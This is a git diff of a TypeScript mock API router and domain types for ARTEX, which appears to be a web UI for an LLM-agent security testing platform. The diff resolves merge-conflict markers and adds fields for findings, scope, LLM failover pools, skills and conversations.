}>(); for (const f of mockFindings) { ->>>>>>> Stashed changes if (!f.task_id) continue; const owner = mockTasks.find((candidate) => candidate.id === f.task_id); - const cur = taskMap.get(f.task_id) ?? { name: owner?.name ?? "", description: f.task_description ?? "", count: 0 }; + const cur = taskMap.get(f.task_id) ?? { + name: owner?.name ?? "", + description: f.task_description ?? "", + count: 0, + }; cur.count++; taskMap.set(f.task_id, cur); } const tasks = Array.from(taskMap, ([id, v]) => ({ id, name: v.name, description: v.description, count: v.count })); return { - total: D.findings.length, - pending: D.findings.filter((f) => f.status === "pending").length, - critical: D.findings.filter((f) => f.severity === "critical").length, - high: D.findings.filter((f) => f.severity === "high").length, - medium: D.findings.filter((f) => f.severity === "medium").length, - low: D.findings.filter((f) => f.severity === "low").length, + total: mockFindings.length, + pending: mockFindings.filter((f) => f.status === "pending").length, + critical: mockFindings.filter((f) => f.severity === "critical").length, + high: mockFindings.filter((f) => f.severity === "high").length, + medium: mockFindings.filter((f) => f.severity === "medium").length, + low: mockFindings.filter((f) => f.severity === "low").length, vulnclasses, tasks, }; } -<<<<<<< Updated upstream -======= if (path === "/exploration/findings/groups") { const severityOrder = { critical: 4, high: 3, medium: 2, low: 1 } as const; let list = mockFindings.slice(); @@ -555,38 +963,52 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re queued: false, }; } ->>>>>>> Stashed changes // 单条 finding:GET 详情 / PATCH 改状态/严重度/名称/类别(demo 直接改内存对象)。 - if ( - seg[0] === "exploration" && - seg[1] === "findings" && - seg.length === 3 && - seg[2] !== "stats" - ) { - const f = D.findings.find((x) => x.id === seg[2]); + if (seg[0] === "exploration" && seg[1] === "findings" && seg.length === 3 && seg[2] !== "stats") { + const f = mockFindings.find((x) => x.id === seg[2]); if (!f) return {}; if (m === "PATCH") { if (typeof b.status === "string") f.status = b.status as typeof f.status; - if (typeof b.severity === "string") - f.severity = b.severity as typeof f.severity; + if (typeof b.severity === "string") f.severity = b.severity as typeof f.severity; if (typeof b.name === "string") f.name = b.name; if (typeof b.vulnclass === "string") f.vulnclass = b.vulnclass; } - return { ...f, finding_id: f.id }; + const contextTaskId = q.get("context_task"); + const contextTask = contextTaskId ? mockTasks.find((item) => item.id === contextTaskId) : undefined; + const inherited = !!( + contextTask && + f.task_id && + f.task_id !== contextTask.id && + contextTask.source_task_ids?.includes(f.task_id) + ); + return { + ...f, + finding_id: f.id, + ...(inherited ? { inherited: true, source_task_id: f.task_id } : {}), + }; } if (path === "/exploration/findings") { // finding_id=id:真后端用独立表行 id 作为状态/详情句柄,mock 里用自身 id 顶上。 // report 仅详情接口返回,列表剥掉(与后端一致)。 - const withFid = (f: (typeof D.findings)[number]) => ({ + const withFid = (f: (typeof mockFindings)[number]) => ({ ...f, report: undefined, finding_id: f.id, }); - if (task) return D.findings.filter((f) => f.task_id === task).map(withFid); + if (task) { + const owner = mockTasks.find((item) => item.id === task); + const sources = new Set(owner?.source_task_ids ?? []); + return mockFindings + .filter((f) => f.task_id === task || (!!f.task_id && sources.has(f.task_id))) + .map((f) => ({ + ...withFid(f), + ...(f.task_id !== task ? { inherited: true, source_task_id: f.task_id } : {}), + })); + } // 全局:带 page/limit → 分页对象;否则裸数组(dashboard)。 - if (!q.has("page") && !q.has("limit")) return D.findings.map(withFid); + if (!q.has("page") && !q.has("limit")) return mockFindings.map(withFid); const sev = { critical: 4, high: 3, medium: 2, low: 1 } as const; - let list = D.findings.slice(); + let list = mockFindings.slice(); const fSev = q.get("severity"); const fStatus = q.get("status"); const fVuln = q.get("vulnclass"); @@ -594,14 +1016,17 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re if (fSev) list = list.filter((f) => f.severity === fSev); if (fStatus) list = list.filter((f) => f.status === fStatus); if (fVuln) list = list.filter((f) => f.vulnclass === fVuln); - if (fTask) list = list.filter((f) => f.task_id === fTask); + if (fTask === "__unassigned__") list = list.filter((f) => !f.task_id); + else if (fTask) list = list.filter((f) => f.task_id === fTask); list.sort((a, b) => q.get("sort") === "severity" ? sev[b.severity] - sev[a.severity] || +new Date(b.ts) - +new Date(a.ts) : +new Date(b.ts) - +new Date(a.ts), ); - const page = Number(q.get("page") ?? 1); - const pageSize = Number(q.get("limit") ?? 20); + const rawPage = Number(q.get("page") ?? 1); + const rawPageSize = Number(q.get("limit") ?? 20); + const page = Number.isFinite(rawPage) && rawPage > 0 ? Math.floor(rawPage) : 1; + const pageSize = Number.isFinite(rawPageSize) && rawPageSize > 0 ? Math.min(200, Math.floor(rawPageSize)) : 20; return { items: list.slice((page - 1) * pageSize, page * pageSize).map(withFid), total: list.length, @@ -609,12 +1034,32 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re page_size: pageSize, }; } - if (path === "/exploration/intents") return D.intents; - if (path === "/exploration/tokens") return { workers: D.tokenWorkers, total: D.tokenTotal }; + if (path === "/exploration/intents") { + if (q.has("page")) { + const before = Number(q.get("before") ?? 0); + const limit = Math.max(1, Number(q.get("limit") ?? 300)); + let list = mockIntents; + if (before > 0) list = list.filter((intent) => Number(intent.id.replace(/\D/g, "") || intent.id) < before); + return { items: list.slice(0, limit), has_more: list.length > limit }; + } + return mockIntents; + } + if (path === "/exploration/tokens") { + const selectedTask = task ? mockTasks.find((item) => item.id === task) : undefined; + return { + workers: D.tokenWorkers, + sessions: D.tokenSessions, + total: selectedTask?.tokens ?? D.tokenTotal, + }; + } if (path === "/exploration/graph") return D.explorationGraph; if (path === "/exploration/activity" && seg.length === 2) { - const items = D.activityForTask(); - return { items, cursor: items.length ? items[items.length - 1].seq : 0 }; + const since = Number(q.get("since") ?? 0); + const limit = Math.max(1, Number(q.get("limit") ?? 300)); + const items = D.activityForTask() + .filter((item) => item.seq > since) + .slice(0, limit); + return { items, cursor: items.length ? items[items.length - 1].seq : since }; } if (seg[0] === "exploration" && seg[1] === "activity" && seg.length === 3) { const a = D.activity.find((x) => x.seq === Number(seg[2])); @@ -634,28 +1079,49 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re if (path === "/settings" && m === "PUT") return { ...D.settings, ...b }; if (path === "/settings/web-search/test") return { ok: true, count: 5, backend: D.settings.web_search_backend }; if (path === "/settings/python/detect") return { python_interpreter: "/usr/bin/python3" }; - if (path === "/chat") return { reply: "(demo)我已把该建议注入为一条高优意图,work agent 会尽快执行。", mode: "hint" }; + if (path === "/chat") + return { reply: "(demo)我已把该建议注入为一条高优意图,work agent 会尽快执行。", mode: "hint" }; if (path === "/gc") return { removed: 0 }; // ── 工具执行历史 ── if (path === "/commands" && m === "GET") return { commands: D.commandRecords, total: D.commandRecords.length }; // ── LLM ── - if (path === "/llm/records" && m === "GET") return { records: D.llmRecords, total: D.llmRecords.length }; + if (path === "/llm/records" && m === "GET") return { records: mockLLMRecords, total: mockLLMRecords.length }; if (path === "/llm/records" && m === "DELETE") return { deleted: 0 }; - if (path === "/llm/records/tasks") return { tasks: D.llmTasks }; - if (seg[0] === "llm" && seg[1] === "records" && seg.length === 3 && m === "GET") return D.llmRecordDetail(Number(seg[2])); + if (path === "/llm/records/tasks") { + const counts = new Map<string, number>(); + for (const record of mockLLMRecords) { + if (record.task_id) counts.set(record.task_id, (counts.get(record.task_id) ?? 0) + 1); + } + return { tasks: [...counts].map(([task_id, count]) => ({ task_id, count })) }; + } + if (seg[0] === "llm" && seg[1] === "records" && seg.length === 3 && m === "GET") { + return D.llmRecordDetail(Number(seg[2]), mockLLMRecords); + } if (path === "/llm" && m === "GET") return D.llmConfig; if (path === "/llm" && m === "POST") return { ok: true }; if (path === "/llm/test") return { ok: true, latency_ms: 128, model: String(b.model ?? "claude-opus-4-8") }; if (path === "/llm/profiles" && m === "GET") return { profiles: D.llmProfiles }; if (path === "/llm/profiles" && m === "POST") return { id: Number(b.id) || 3 }; if (path === "/llm/profiles/active") return { ok: true }; - if (seg[0] === "llm" && seg[1] === "profiles" && seg.length === 3 && m === "DELETE") return { deleted: Number(seg[2]) }; + if (path === "/llm/pool" && m === "GET") return D.llmPool; + if (path === "/llm/pool/reset") + return { ...D.llmPool, chain: D.llmPool.chain.map((c) => ({ ...c, state: "ok", fails: 0, cooldown_secs: 0 })) }; + if (seg[0] === "llm" && seg[1] === "profiles" && seg.length === 3 && m === "DELETE") + return { deleted: Number(seg[2]) }; // ── agents ── if (path === "/agents" && m === "GET") return { agents: D.agents }; - if (path === "/agents" && m === "POST") return { id: "9", key: String(b.key ?? "custom"), name: String(b.name ?? ""), role: "custom", builtin: false, enabled: true }; + if (path === "/agents" && m === "POST") + return { + id: "9", + key: String(b.key ?? "custom"), + name: String(b.name ?? ""), + role: "custom", + builtin: false, + enabled: true, + }; if (seg[0] === "agents" && seg.length === 2 && m === "GET") return D.agentDetail(seg[1]); if (seg[0] === "agents" && seg[2] === "triggers" && m === "GET") return { triggers: [] }; if (seg[0] === "agents" && seg[2] === "prompts") return { versions: D.agentDetail(seg[1]).versions }; @@ -665,8 +1131,43 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re if (seg[0] === "agents" && seg[2] === "visibility" && m === "GET") return D.agentDetail(seg[1]).visibility; // ── conversations ── - if (path === "/conversations" && m === "GET") return { conversations: D.conversations }; - if (path === "/conversations" && m === "POST") return { id: 3, agent_key: String(b.agent_key ?? "mainagent"), title: String(b.title ?? "新会话"), created_at: "2026-07-26T04:00:00Z", updated_at: "2026-07-26T04:00:00Z" }; + if (path === "/conversations" && m === "GET") { + sortMockConversations(); + return { conversations: structuredClone(mockConversations) }; + } + if (path === "/conversations" && m === "POST") { + const now = new Date().toISOString(); + const title = String(b.title ?? "").trim() || "新对话"; + const conversation: Conversation = { + id: mockConversations.reduce((max, item) => Math.max(max, item.id), 0) + 1, + agent_key: String(b.agent_key ?? "mainagent"), + title, + llm_profile_id: typeof b.llm_profile_id === "number" ? b.llm_profile_id : undefined, + pinned: false, + created_at: now, + updated_at: now, + }; + mockConversations.unshift(conversation); + return structuredClone(conversation); + } + if (seg[0] === "conversations" && seg.length === 2 && m === "PATCH") { + const conversation = mockConversations.find((item) => item.id === Number(seg[1])); + if (!conversation) return {}; + if (typeof b.title === "string") conversation.title = b.title.trim(); + if (typeof b.pinned === "boolean") { + conversation.pinned = b.pinned; + conversation.pinned_at = b.pinned ? (conversation.pinned_at ?? new Date().toISOString()) : null; + } + conversation.updated_at = new Date().toISOString(); + sortMockConversations(); + return structuredClone(conversation); + } + if (seg[0] === "conversations" && seg.length === 2 && m === "DELETE") { + const id = Number(seg[1]); + const index = mockConversations.findIndex((item) => item.id === id); + if (index >= 0) mockConversations.splice(index, 1); + return { deleted: id }; + } if (seg[0] === "conversations" && seg[2] === "messages" && seg.length === 3 && m === "GET") { const items = D.conversationMessages[Number(seg[1])] ?? []; return { items, cursor: items.length ? items[items.length - 1].seq : 0, running: false }; @@ -692,13 +1193,16 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re if (seg[0] === "mcp" && seg.length === 2 && m === "DELETE") return { deleted: Number(seg[1]) }; // ── scopesentry(demo:未配置)── - if (path === "/sync/scopesentry/status") return { exists: false, configured: false, enabled: false, reachable: false, tools: [] }; + if (path === "/sync/scopesentry/status") + return { exists: false, configured: false, enabled: false, reachable: false, tools: [] }; if (path === "/sync/scopesentry/projects") return { projects: [], tag: {} }; if (path === "/sync/scopesentry/tasks") return { tasks: [] }; if (path === "/sync/scopesentry/sync") return { synced: {}, companies: null, warnings: null, errors: null }; // ── skills ── if (path === "/skills" && m === "GET") return { skills: D.skills }; + if (path === "/skills/missing") return { missing: D.missingSkills }; + if (seg[0] === "skills" && seg[2] === "usage") return { calls: D.skillCalls }; if (path === "/skills" && m === "POST") return { name: String(b.name ?? "new-skill") }; if (seg[0] === "skills" && seg[2] === "files" && seg.length === 3) return { files: ["SKILL.md"] }; if (seg[0] === "skills" && seg[2] === "files" && seg.length >= 4) @@ -709,7 +1213,8 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re // ── intercept ── if (path === "/intercept/rules" && m === "GET") return { rules: D.interceptRules }; - if (seg[0] === "intercept" && seg[1] === "rules" && seg[3] === "toggle") return { ok: true, enabled: b.enabled ?? true }; + if (seg[0] === "intercept" && seg[1] === "rules" && seg[3] === "toggle") + return { ok: true, enabled: b.enabled ?? true }; if (path === "/intercept/pending" && m === "GET") return { pending: D.interceptPending }; if (seg[0] === "intercept" && seg[1] === "pending" && seg[3] === "decide") return { ok: true }; if (seg[0] === "intercept" && seg[1] === "pending" && seg.length === 3 && m === "GET") @@ -734,5 +1239,9 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re if (["POST", "PUT", "PATCH", "DELETE"].includes(m)) return { ok: true }; // ── 读兜底:集合类给 [],其余 {} ── - return /(\/(tasks|profiles|conversations|rules|history|projects|tokens|agents|servers|skills|tools|findings|intents)s?$)|s$/.test(path) ? [] : {}; + return /(\/(tasks|profiles|conversations|rules|history|projects|tokens|agents|servers|skills|tools|findings|intents)s?$)|s$/.test( + path, + ) + ? [] + : {}; } diff --git a/web/src/lib/types.ts b/web/src/lib/types.ts index bdd2d4f..238939d 100644 --- a/web/src/lib/types.ts +++ b/web/src/lib/types.ts @@ -1,12 +1,14 @@ // ARTEX domain model — types used across the UI. // Derived from the functional spec (section 7: 关键数据形状). -export type TaskStatus = "created" | "running" | "paused" | "done" | "failed" | "timeout"; +export type TaskStatus = "created" | "queued" | "running" | "paused" | "done" | "failed" | "timeout"; export type EngineMode = "exploring" | "paused" | "stalled" | "idle"; export interface Task { id: string; name?: string; // 可选任务名称;空/缺省=未命名,展示时回退到描述 + category_id?: number; + category_name?: string; description: string; goal: string; status: TaskStatus; @@ -16,6 +18,7 @@ export interface Task { completed_unix?: number; // completed_at as unix seconds (0/undef if unfinished) last_activity_unix?: number; // unix seconds of the last activity (0/undef if none) paused?: boolean; + queued?: boolean; active?: boolean; in_flight?: number; last_activity?: string; @@ -25,8 +28,6 @@ export interface Task { engine_mode?: EngineMode; tokens?: TokenTotal; // whole-task token consumption llm_profile_id?: number; // LLM profile used; absent = default profile -<<<<<<< Updated upstream -======= llm_profile_ids?: number[]; // ordered task-level failover chain active_llm_profile_id?: number; // profile used by the next LLM call llm_failover_state?: "default" | "ready" | "chain_exhausted" | string; @@ -36,6 +37,14 @@ export interface Task { coverage_enabled?: boolean; // 资产覆盖度功能开关(创建时定,默认开);false=不计算/不展示覆盖度 } +export interface TaskCategory { + id: number; + name: string; + task_count: number; + created_at: string; + updated_at: string; +} + export interface TaskTemplate { id: number; name: string; @@ -62,7 +71,6 @@ export interface DeleteTaskResult { findings_deleted: number; llm_records_deleted: number; cleanup_warning?: string; ->>>>>>> Stashed changes } // ---- Asset graph (global, shared across tasks) ---- @@ -170,6 +178,35 @@ export interface Asset { params?: Record<string, unknown>[]; extra?: Record<string, unknown>; last_seen: string; + task_source?: string; + task_source_summary?: string; + task_source_node_id?: number; +} + +export interface IntentAsset { + intent_id: number | string; + asset_id: number; + type: NewAssetType; + label: string; + source: string; + source_summary: string; + source_node_id?: number; + source_task_id: number; + inherited: boolean; +} + +export interface TaskAssetMutation { + requested: number; + attached: number; + existing: number; +} + +export interface TaskAssetScopeMutation { + requested: number; + assets_linked: number; + assets_existing: number; + scopes_added: number; + scopes_existing: number; } // ---- Asset coverage graph (per task) ---- @@ -210,6 +247,8 @@ export interface CoverageAssetRef { kind: string; state: string; summary: string; + source_task_id?: string; + inherited?: boolean; } export interface CoverageAssetRefs { intents: CoverageAssetRef[]; @@ -237,17 +276,16 @@ export interface WorkspaceFile { content?: string; } -<<<<<<< Updated upstream -======= // 任务测试范围的一条(覆盖度分母 + 授权边界)。 export interface TaskScopeRow { id: number; task_id: number; - kind: "company" | "root_domain" | "subdomain" | "ip" | "cidr"; + kind: "company" | "root_domain" | "subdomain" | "ip" | "cidr" | "icp" | "keyword"; company_id?: number; company_name?: string; // 后端 JOIN companies 解析,仅 kind=company 有值 domain?: string; net?: string; + value?: string; source: "auto" | "agent" | "manual"; reason?: string; } @@ -260,15 +298,15 @@ export interface CompanyScopeRule { value: string; } ->>>>>>> Stashed changes // 公司资产范围规则的一条(归属唯一真值来源)。 export interface ScopeRow { id: number; company_id: number; - kind: "domain" | "ip" | "cidr"; - domain?: string; // kind=domain 时有值 - net?: string; // kind=ip|cidr 时有值 - raw: string; // 原始用户输入,用于显示和回填 + kind: CompanyScopeKind; + domain?: string; // kind=domain 时有值 + net?: string; // kind=ip|cidr 时有值 + value?: string; // kind=icp|keyword 时可能由后端直接返回 + raw: string; // 原始用户输入,用于显示和回填 reason?: string; } @@ -278,13 +316,13 @@ export interface Company { name: string; logo?: string; // 远程图标 URL;空则前端用名称首字母 asset_count: number; - scope: ScopeRow[]; + scope?: ScopeRow[]; } // ---- Exploration graph (per task) ---- export type ExploreKind = "task" | "begin" | "goal" | "intent" | "fact" | "finding" | "hint"; export type GoalState = "open" | "met" | "abandoned"; -export type IntentState = "open" | "running" | "done" | "blocked" | "exhausted" | "stopped"; +export type IntentState = "open" | "running" | "paused" | "done" | "blocked" | "exhausted" | "stopped"; export type FindingState = "confirmed" | "dismissed"; export type HintState = "active" | "consumed"; export type ExploreRel = "spawns" | "derived_from" | "yields" | "proves"; @@ -297,6 +335,8 @@ export interface TaskNode { state: string; // GoalState | IntentState | FindingState | HintState origin: string; ts: string; + source_task_id?: string; + inherited?: boolean; } // 目标管理卡片用的目标(后端已把 payload 拆成 text/vulnclass)。 @@ -354,6 +394,8 @@ export interface Finding { param_id?: string; task_id?: string; task_description?: string; + source_task_id?: string; + inherited?: boolean; assets?: FindingAsset[]; ts: string; } @@ -366,8 +408,6 @@ export interface FindingsPage { page_size: number; } -<<<<<<< Updated upstream -======= export interface FindingGroup { task_id: string | number | null; task_name?: string; // 可选任务名称;空/缺省=未命名 @@ -396,7 +436,6 @@ export interface FindingDeepenResponse { queued: boolean; } ->>>>>>> Stashed changes // FindingStats 是发现全表聚合(统计卡 + 漏洞类型下拉),服务端计算,不受分页影响。 export interface FindingStats { total: number; @@ -412,12 +451,8 @@ export interface FindingStats { // FindingTaskOption 是发现页「按任务」筛选下拉的一项:有漏洞的任务(描述为空表示任务已删除, // 前端回退展示 id)及其漏洞条数。 export interface FindingTaskOption { -<<<<<<< Updated upstream - id: number; -======= id: string | number; name?: string; // 可选任务名称;空/缺省=未命名 ->>>>>>> Stashed changes description: string; count: number; } @@ -441,9 +476,11 @@ export type ActivityKind = | "thinking" | "result" | "user" - | "intent" // LLM-generated exploration objective leading a worker session (UI-synthesized) - | "round" // planner round boundary marker (engine-emitted) - | "usage" // live cumulative token usage (per model turn); not rendered + | "intent" // LLM-generated exploration objective leading a worker session (UI-synthesized) + | "round" // planner round boundary marker (engine-emitted) + | "usage" // live cumulative token usage (per model turn); not rendered + | "llm_switch" // automatic/manual task-level LLM switch + | "llm_failover" // task-level provider switch / chain exhaustion audit event | "intercept_request"; // user-approval request from the intercept layer // ChatAttachment 是一次上传的文件:path 相对该会话/任务工作目录(即 agent 的 CWD)。 @@ -465,6 +502,11 @@ export interface Activity { is_error?: boolean; summary: string; detail?: string; + metadata?: { + llm_transition?: LLMTransition; + }; + source_task_id?: string; + inherited?: boolean; // token usage (present only on kind='result') input_tokens?: number; output_tokens?: number; @@ -472,6 +514,36 @@ export interface Activity { cache_write_tokens?: number; } +export interface LLMAuditProfile { + id: number; + name: string; + format: string; + model: string; +} + +export interface LLMTransition { + mode: "automatic" | "manual" | "exhausted"; + reason: string; + previous?: LLMAuditProfile; + next?: LLMAuditProfile; +} + +export interface TaskLLMResolution { + profile_id?: number; + name: string; + format: string; + model: string; + source: "task_chain" | "agent_binding" | "global_profile" | "environment" | "global"; + available: boolean; + reason?: string; +} + +export interface TaskLLMResolutions { + mainagent: TaskLLMResolution; + planner: TaskLLMResolution; + worker: TaskLLMResolution; +} + // ---- Agent triggers (P3 调度,仅自定义 agent) ---- export interface AgentTrigger { id: number; @@ -499,6 +571,8 @@ export interface Conversation { agent_key: string; title: string; llm_profile_id?: number; + pinned?: boolean; + pinned_at?: string | null; created_at: string; updated_at: string; } @@ -513,8 +587,8 @@ export interface LogLine { text: string; } -export type SessionRole = "mainagent" | "planner" | "worker"; -export type SessionStatus = "running" | "done" | "blocked" | "exhausted" | "pending" | "stopped"; +export type SessionRole = "mainagent" | "planner" | "worker" | "system"; +export type SessionStatus = "running" | "paused" | "done" | "blocked" | "exhausted" | "pending" | "stopped"; // Daily token aggregate bucket (GET /api/tokens/daily). export interface DailyTokenBucket { @@ -534,6 +608,22 @@ export interface TokenUsage { cache_write_tokens: number; } +export interface SessionTokenUsage { + session: string; + input_tokens: number; + output_tokens: number; + cache_read_tokens: number; + cache_write_tokens: number; +} + +export interface BatchControlItem { + id: string; + ok: boolean; + status?: string; + queued?: boolean; + error?: string; +} + // Whole-task (all agents) token aggregate. export interface TokenTotal { input_tokens: number; @@ -542,6 +632,43 @@ export interface TokenTotal { cache_write_tokens: number; } +// Global per-profile token spend from the llm_usage ledger (GET /api/tokens/usage). +export interface ProfileUsage { + profile_name: string; + calls: number; + tasks: number; + input_tokens: number; + output_tokens: number; + cache_read_tokens: number; + cache_write_tokens: number; +} + +// One (profile, UTC day) token bucket for the dashboard's daily chart (new source). +export interface ProfileDayUsage { + profile_name: string; + date: string; // YYYY-MM-DD + input_tokens: number; + output_tokens: number; + cache_read_tokens: number; +} + +// Response of GET /api/tokens/usage — the dashboard's "new" (llm_usage) token view. +export interface UsageStats { + by_profile: ProfileUsage[]; + daily: ProfileDayUsage[]; +} + +// Per-model token usage for one task (GET /api/llm/records/by-model), from the +// always-on llm_usage metering ledger. calls = number of LLM calls on this model. +export interface ModelTokenStat { + model: string; + calls: number; + input_tokens: number; + output_tokens: number; + cache_read_tokens: number; + cache_write_tokens: number; +} + export interface Session { id: string; role: SessionRole; @@ -550,6 +677,8 @@ export interface Session { live: boolean; last_activity: string; intent_id?: string; + source_task_id?: string; + inherited?: boolean; } // ---- Security ---- @@ -617,8 +746,6 @@ export interface Settings { web_search_proxy?: string; python_interpreter?: string; // 自定义脚本工具的 python 解释器路径(空=运行时检测) workers?: number; // 并发工作 agent 数(默认3);对之后启动的任务生效 -<<<<<<< Updated upstream -======= // 任务并发上限:同时「运行中」的任务数上限。关闭=不限;开启后新建任务超限则排队,有空位自动启动。 task_concurrency_enabled?: boolean; // 默认 false task_concurrency_limit?: number; // 开启后默认 5 @@ -630,7 +757,6 @@ export interface Settings { // 操作约束注入范围(默认都开):把任务的 allow/deny 约束拼进对应 agent 的系统提示。 constraints_inject_planner?: boolean; constraints_inject_worker?: boolean; ->>>>>>> Stashed changes } // ---- LLM config ---- @@ -645,9 +771,42 @@ export interface LLMProfile { rate_per_second: number; rate_per_minute: number; context_window_k?: number; - // 思考模式: ""=默认(不发送) | "off"=关闭 | "low"/"medium"/"high"/"max"=开启并设强度 + // 思考开关(thinking.type): ""=不发送(默认) | "disabled"=关闭 | "enabled"=开启 + thinking_type?: string; + // 思考强度: ""=不发送(默认) | "low"/"medium"/"high"/"xhigh"/"max" reasoning_effort?: string; is_default: boolean; + // 轮询顺位:越大越先被选中。激活配置恒为链首,与本值无关。 + priority?: number; + // true = 不作为故障转移目标(仍可被 agent/任务显式绑定使用)。 + pool_exclude?: boolean; +} + +// ---- LLM 轮询(故障转移)---- +// 一个配置在轮询链中的位置与健康状态。state: +// ok 正常 +// degraded 有连续失败但未达熔断阈值 +// tripped 已熔断,冷却期内被跳过(cooldown_secs 为剩余秒数) +export interface LLMPoolMember { + profile_id: string; + name: string; + model: string; + format: string; + priority: number; + active: boolean; // 是否为当前激活配置(恒为链首) + excluded: boolean; // pool_exclude:不参与轮询 + state: "ok" | "degraded" | "tripped"; + fails: number; + trips: number; + cooldown_secs: number; + last_error?: string; + last_at?: string; +} + +export interface LLMPoolStatus { + enabled: boolean; + bind_fallback: boolean; + chain: LLMPoolMember[]; } // ---- Agents ---- @@ -730,12 +889,34 @@ export interface MCPTool { // Fields align with the agentskills.io open specification. // description covers both "what the skill does" and "when to use it". export interface SkillItem { - name: string; // unique key = directory name - description?: string; // required per spec; covers what + when to use - license?: string; // optional: SPDX identifier or free text + name: string; // unique key = directory name + description?: string; // required per spec; covers what + when to use + license?: string; // optional: SPDX identifier or free text compatibility?: string; // optional: environment requirements - mcps?: string[]; // MCP server names this skill unlocks on load - files: string[]; // files in the skill directory + mcps?: string[]; // MCP server names this skill unlocks on load + files: string[]; // files in the skill directory + // 调用统计(skill_usage 账本)。从未被调用过的 skill:calls=0、last_used 缺省。 + calls: number; + tasks: number; // 加载过它的任务数(chat 会话不计入) + usage_agents: string[]; // 加载过它的 agent key + last_used?: string; +} + +// SkillCall 是一次 Skill() 调用(单个 skill 的最近调用列表)。 +export interface SkillCall { + ts: string; + agent_key: string; + task_id: number; // 0 = 非任务场景(对话会话) + session_id: string; + args_len: number; +} + +// MissingSkill 是被点名但不存在的 skill —— "想用但没有"的缺口。 +export interface MissingSkill { + skill: string; + calls: number; + agents: string[]; + last_used?: string; } // ---- Tools (内置工具目录) ---- @@ -748,12 +929,12 @@ export interface Tool { description: string; // eslint-disable-next-line @typescript-eslint/no-explicit-any schema: Record<string, any>; // full JSON-Schema (object with properties) - agents: string[]; // bound agent keys + agents: string[]; // bound agent keys enabled: boolean; kind?: "builtin" | "shell" | "command" | "script" | "http"; // 自定义工具类型 // eslint-disable-next-line @typescript-eslint/no-explicit-any - exec?: Record<string, any>; // 自定义工具执行规格(kind!=builtin) - deferred?: boolean; // schema 延迟(SearchExtraTools/ExecuteExtraTool) + exec?: Record<string, any>; // 自定义工具执行规格(kind!=builtin) + deferred?: boolean; // schema 延迟(SearchExtraTools/ExecuteExtraTool) } // ---- Stats ---- @@ -763,6 +944,7 @@ export interface Stats { llm_configured: boolean; roe_enabled: boolean; findings_confirmed: number; + active_task?: Partial<Task>; } // ---- Intercept Rules ---- @@ -815,14 +997,14 @@ export interface JudgeConfig { // InterceptApprovalRow enriches InterceptPending with conversation/task and rule context. export interface InterceptApprovalRow extends InterceptPending { - conv_title: string; // "" if no linked conversation - conv_agent_key: string; // "" if no linked conversation - rule_name: string; // "" if rule was deleted + conv_title: string; // "" if no linked conversation + conv_agent_key: string; // "" if no linked conversation + rule_name: string; // "" if rule was deleted } // ── 资产同步 (ScopeSentry 数据源) ────────────────────────────────────────────── export interface SSProject { - id: string; // MongoDB ObjectID — used as filter.project + id: string; // MongoDB ObjectID — used as filter.project name: string; logo?: string; AssetCount?: number; @@ -831,7 +1013,7 @@ export interface SSProject { export interface SSTask { id: string; - name: string; // used as filter.task + name: string; // used as filter.task status?: number; progress?: number; creatTime?: string;